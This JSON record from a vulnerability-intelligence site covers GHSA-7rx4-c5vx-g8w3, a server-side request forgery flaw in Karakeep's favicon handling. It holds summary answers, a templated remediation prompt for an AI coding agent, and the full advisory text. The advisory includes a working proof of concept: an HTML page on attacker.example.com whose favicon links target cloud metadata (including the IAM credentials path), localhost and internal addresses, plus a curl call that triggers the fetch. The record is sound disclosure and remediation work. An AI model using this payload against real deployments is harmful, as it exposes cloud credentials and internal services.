{"answers":{"affected":"2 open source packages ship an affected version, including @karakeep/sdk.","exploited":"There is no known exploitation of GHSA-7rx4-c5vx-g8w3 in the wild and no public exploit code.","fix":"Upgrade @karakeep/sdk to 0.32.0 or later.","what":"GHSA-7rx4-c5vx-g8w3 is a server-side request forgery vulnerability in @karakeep/sdk, published on 14 May 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-7rx4-c5vx-g8w3 and fix it if it is affected.\n\nWhat it is: GHSA-7rx4-c5vx-g8w3 is a server-side request forgery vulnerability in @karakeep/sdk, published on 14 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-7rx4-c5vx-g8w3 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @karakeep/sdk (npm): affected all versions; fixed in 0.32.0\n- @karakeep/sdk (npm): affected all versions; fixed in 0.32.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-7rx4-c5vx-g8w3/ (Markdown: https://insights.sbomify.com/GHSA-7rx4-c5vx-g8w3/index.md)","id":"GHSA-7rx4-c5vx-g8w3","markdown":"https://insights.sbomify.com/GHSA-7rx4-c5vx-g8w3/index.md","name":"GHSA-7rx4-c5vx-g8w3","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_read","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Karakeep bookmarking service","requires_auth":"low_privilege","summary":"Authenticated users can trigger Server-Side Request Forgery by bookmarking pages with crafted favicon links, bypassing URL validation to access internal resources.","user_interaction":"not_required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `\u003clink rel=\"icon\"\u003e` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `\u003clink rel=\"icon\"\u003e` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n    gotOpts: {\n      agent: {\n        http: serverConfig.proxy.httpProxy\n          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n          : undefined,\n        https: serverConfig.proxy.httpsProxy\n          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n          : undefined,\n      },\n    },\n  }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark → URL validated by validateUrl() ✓\n2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses \u003clink rel=\"icon\"\u003e tags from HTML\n5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n\u003c!-- Hosted at https://attacker.example.com/ssrf.html --\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003eInnocent Page\u003c/title\u003e\n  \u003clink rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\"\u003e\n  \u003clink rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\"\u003e\n  \u003clink rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003cp\u003eNormal content\u003c/p\u003e\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n  -H \"Authorization: Bearer YOUR_API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}'\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+   beforeRequest: [\n+     async (options) =\u003e {\n+       const result = await validateUrl(options.url.toString(), false);\n+       if (!result.ok) {\n+         throw new Error(`SSRF blocked: ${result.reason}`);\n+       }\n+     }\n+   ]\n+ };\n+\n  metascraperLogo({\n      gotOpts: {\n+       hooks: ssrfHook,\n        agent: { ... },\n      },\n  }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections","id":"GHSA-7rx4-c5vx-g8w3","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"ssrf","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["0.32.0"],"introduced":["0"],"last_affected":[],"package":"@karakeep/sdk","purl":null,"source":"GHSA-7rx4-c5vx-g8w3"},{"ecosystem":"npm","fixed":["0.32.0"],"introduced":["0"],"last_affected":[],"package":"@karakeep/sdk","purl":"pkg:npm/%40karakeep/sdk","source":"GHSA-7rx4-c5vx-g8w3"}],"products":null,"published":"2026-05-14","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Authenticated users can trigger Server-Side Request Forgery by bookmarking pages with crafted favicon links, bypassing URL validation to access internal resources.","url":"https://insights.sbomify.com/GHSA-7rx4-c5vx-g8w3/"}